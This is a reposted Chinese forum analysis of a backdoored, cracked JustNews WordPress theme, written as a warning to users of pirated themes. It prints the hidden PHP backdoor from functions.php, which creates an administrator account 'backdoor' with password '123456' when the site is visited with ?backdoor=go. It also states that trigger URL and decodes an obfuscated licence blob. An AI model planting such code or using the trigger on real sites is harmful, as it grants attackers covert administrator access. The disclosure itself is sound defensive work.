【网站】justnews 5.2.3破解版后门 【转载】

收到坛友的私信,帮忙看了一下justnews 5.2.3破解版的后门

 

functions.php文件解密后再48-61行发现后门代码

[PHP] 
01
02
03
04
05
06
07
08
09
10
11
12
13
14
add_action('wp_head', 'wp_backdoor');
function wp_backdoor()
{
    if (
        md5($_GET['backdoor']) == '34d1f91fb2e514b8576fab1a75a89a6b'
    ) {
        require('wp-includes/registration.php');
        if (!username_exists('backdoor')) {
            $user_id = wp_create_user('backdoor', '123456');
            $user = new WP_User($user_id);
            $user->set_role('administrator');
        }
    }
}

。。。没错!和我关于本站ripro主题4.8版本后门分析https://www.52pojie.cn/thread-1074873-1-1.html里的后门一模一样,
backdoor这么明显的后门变量命名都不改。同样的配方,同样的味道。

使用http(s)://你的域名/?backdoor=go访问,
自动创建用户名为backdoor密码为123456的管理员账户

 
panel.php文件解密后在285-289行发现一段加密代码

[PHP] 
1
2
3
4
5
$ops = 'Y2FlOWYyOGNlODljMDZmYWNjZjg4YWFjZDE3MDc0MTZleUprYjIxaGFXNGlPaUozZDNjdWFHOXZibVYzY3k1dVpYUWlMQ0oyWlhKemFXOXVJam9pTkM0d0xqUWlMQ0p3YkhWbmFXNGlPbHQ3SW01aGJXVWlPaUpYVUMxUWIzTjBWbWxsZDNNaUxDSnpiSFZuSWpvaWQzQXRjRzl6ZEhacFpYZHpJaXdpY21WeGRXbHlaV1FpT21aaGJITmxmVjBzSW1SbGJXOGlPbHQ3SW1sdGNHOXlkRjltYVd4bFgyNWhiV1VpT2lKS2RYTjBUbVYzY3lJc0ltTmhkR1ZuYjNKcFpYTWlPbnNpWkNJNklseDFPV1ZrT0Z4MU9HSmhOQ0o5TENKcGJYQnZjblJmWm1sc1pWOTFjbXdpT2lKb2RIUndPbHd2WEM5M2QzY3VkM0JqYjIwdVkyNWNMMlJ2ZDI1Y0wzQnNkV2RwYmkxbWFXeGxjMXd2WkdWdGIzTmNMMnAxYzNSdVpYZHpYQzlxZFhOMGJtVjNjeTU0Yld3aUxDSnBiWEJ2Y25SZmIzQjBhVzl1YzE5bWFXeGxYM1Z5YkNJNkltaDBkSEE2WEM5Y0wzZDNkeTUzY0dOdmJTNWpibHd2Wkc5M2Jsd3ZjR3gxWjJsdUxXWnBiR1Z6WEM5a1pXMXZjMXd2YW5WemRHNWxkM05jTDJwMWMzUnVaWGR6TG1wemIyNGlMQ0pwYlhCdmNuUmZibTkwYVdObElqb2lYSFUxWW1aalhIVTFNVFkxWEhVMU5EQmxYSFUxTWpBMlhIVTNZemRpU1VSY2RUTXdNREZjZFRrNE56VmNkVGszTmpKSlJGeDFOVE5sWmx4MU9EQm1aRngxTkdZeFlWeDFOVE5rT0Z4MU5UTXhObHgxWm1Zd1kxeDFOR1k0WWx4MU5UazRNbHgxTnpVeU9GeDFOakl6TjF4MU56Wm1PRngxTlRFM00xeDFPVGczTlZ4MU9UYzJNbHgxTlRObFpseDFPREJtWkZ4MU9UY3dNRngxT0RrNE1WeDFPVEZqWkZ4MU5qVmlNRngxTlRJek1DQmNkVFJsTTJKY2RUazRPVGhjZFRoaVltVmNkVGRtTm1VK1hIVTNOVEk0WEhVMk1qTTNYSFUwWlRKa1hIVTFabU16SUZ4MU5HVXdZbHgxT1RjMk1seDFPR0ppWlZ4MU4yWTJaU0o5WFN3aWNtVnhkV2x5WlhNaU9sc2lWME1pWFgwPQ==';
            $ops = base64_decode($ops);
            $token = '$P$BcGrBU7tfwMR8kZlKzS1OonWpmDU0Y.';
            $ops = base64_decode(str_replace(md5($token), '', $ops));
            $this->_extras = json_decode($ops);

先base64解密(base64_decode($ops))后得到

[PHP] 
1
cae9f28ce89c06faccf88aacd1707416eyJkb21haW4iOiJ3d3cuaG9vbmV3cy5uZXQiLCJ2ZXJzaW9uIjoiNC4wLjQiLCJwbHVnaW4iOlt7Im5hbWUiOiJXUC1Qb3N0Vmlld3MiLCJzbHVnIjoid3AtcG9zdHZpZXdzIiwicmVxdWlyZWQiOmZhbHNlfV0sImRlbW8iOlt7ImltcG9ydF9maWxlX25hb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XN0TmV3cyIsImNhdGVnb3JpZXMiOnsiZCI6Ilx1OWVkOFx1OGJhNCJ9LCJpbXBvcnRfZmlsZV91cmwiOiJodHRwOlwvXC93d3cud3Bjb20uY25cL2Rvd25cL3BsdWdpbi1maWxlc1wvZGVtb3NcL2p1c3RuZXdzXC9qdXN0bmV3cy54bWwiLCJpbXBvcnRfb3B0aW9uc19maWxlX3VybCI6Imh0dHA6XC9cL3d3dy53cGNvbS5jblwvZG93blwvcGx1Z2luLWZpbGVzXC9kZW1vc1wvanVzdG5ld3NcL2p1c3RuZXdzLmpzb24iLCJpbXBvcnRfbm90aWNlIjoiXHU1YmZjXHU1MTY1XHU1NDBlXHU1MjA2XHU3YzdiSURcdTMwMDFcdTk4NzVcdTk3NjJJRFx1NTNlZlx1ODBmZFx1NGYxYVx1NTNkOFx1NTMxNlx1ZmYwY1x1NGY4Ylx1NTk4Mlx1NzUyOFx1NjIzN1x1NzZmOFx1NTE3M1x1OTg3NVx1OTc2Mlx1NTNlZlx1ODBmZFx1OTcwMFx1ODk4MVx1OTFjZFx1NjViMFx1NTIzMCBcdTRlM2JcdTk4OThcdThiYmVcdTdmNmU+XHU3NTI4XHU2MjM3XHU0ZTJkXHU1ZmMzIFx1NGUwYlx1OTc2Mlx1OGJiZVx1N2Y2ZSJ9XSwicmVxdWlyZXMiOlsiV0MiXX0=

再base64解密得到

[PHP]
1
{"domain":"www.hoonews.net","version":"4.0.4","plugin":[{"name":"WP-PostViews","slug":"wp-postviews","required":false}],"demo":[{"import_file_name":"JustNews","categories":{"d":"\u9ed8\u8ba4"},"import_file_url":"http:\/\/www.wpcom.cn\/down\/plugin-files\/demos\/justnews\/justnews.xml","import_options_file_url":"http:\/\/www.wpcom.cn\/down\/plugin-files\/demos\/justnews\/justnews.json","import_notice":"\u5bfc\u5165\u540e\u5206\u7c7bID\u3001\u9875\u9762ID\u53ef\u80fd\u4f1a\u53d8\u5316\uff0c\u4f8b\u5982\u7528\u6237\u76f8\u5173\u9875\u9762\u53ef\u80fd\u9700\u8981\u91cd\u65b0\u5230 \u4e3b\u9898\u8bbe\u7f6e>\u7528\u6237\u4e2d\u5fc3 \u4e0b\u9762\u8bbe\u7f6e"}],"requires":["WC"]}

将unicode替换成中文

[PHP]
1
{"domain":"www.hoonews.net","version":"4.0.4","plugin":[{"name":"WP-PostViews","slug":"wp-postviews","required":false}],"demo":[{"import_file_name":"JustNews","categories":{"d":"默认"},"import_file_url":"http:\/\/www.wpcom.cn\/down\/plugin-files\/demos\/justnews\/justnews.xml","import_options_file_url":"http:\/\/www.wpcom.cn\/down\/plugin-files\/demos\/justnews\/justnews.json","import_notice":"导入后分类ID、页面ID可能会变化,例如用户相关页面可能需要重新到 主题设置>用户中心 下面设置"}],"requires":["WC"]}

可以看出这个所谓的justnews 5.2.3破解版,其实本来是4.0.4破解版(由www.hoonews.net传播)而且还被加了后门。

PS:在此提醒一下用破解版的诸位,D盾并不能扫描出像这种专门针对WordPress的后门
D盾对我而言其实主要用来检测加密文件和查杀低级的木马,高级一点的其实很容易绕过查杀。
所以不要以为用D盾扫一下发现没有报毒就万事无忧了,而且作者真的要针对盗版还是比较容易的。
比如justnews激活就会将域名发到http://www.wpcom.cn/authentication/,ripro会将设置域名之类的信息发到vip.ylit.cc。
之前不是说ripro盗版收款收到别人账户上去了吗?是盗版传播者做的,还是其他人做的?自己好好想想。

转载文章,感谢作者!另外等有收入了也一定要支持原创!
justnews的原创地址:
https://www.wpcom.cn/themes/justnews.html